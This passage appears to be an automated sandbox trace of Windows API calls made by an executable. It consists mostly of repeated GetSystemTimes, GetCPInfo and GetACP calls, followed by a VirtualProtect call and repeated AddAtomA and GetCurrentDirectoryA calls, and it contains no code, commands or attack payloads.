GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.759] GetACP () returned 0x4e4 [0054.759] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.759] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.760] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.760] GetACP () returned 0x4e4 [0054.760] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.761] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.761] GetACP () returned 0x4e4 [0054.761] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.762] GetACP () returned 0x4e4 [0054.762] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.763] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.763] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.764] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.764] GetACP () returned 0x4e4 [0054.765] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.765] GetACP () returned 0x4e4 [0054.865] VirtualProtect (in: lpAddress=0x305aa8, dwSize=0xfacb, flNewProtect=0x40, lpflOldProtect=0x43bc04 | out: lpflOldProtect=0x43bc04*=0x4) returned 1 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.867] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.867] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.867] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.868] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.868] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.868] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.869] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.869] AddAtomA (lpString=0x0) returned 0x0 [0054.869] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.870] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.870] AddAtomA (lpString=0x0) returned 0x0 [0054.870] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) returned 0x0 [0054.871] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.871] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0054.871] AddAtomA (lpString=0x0) 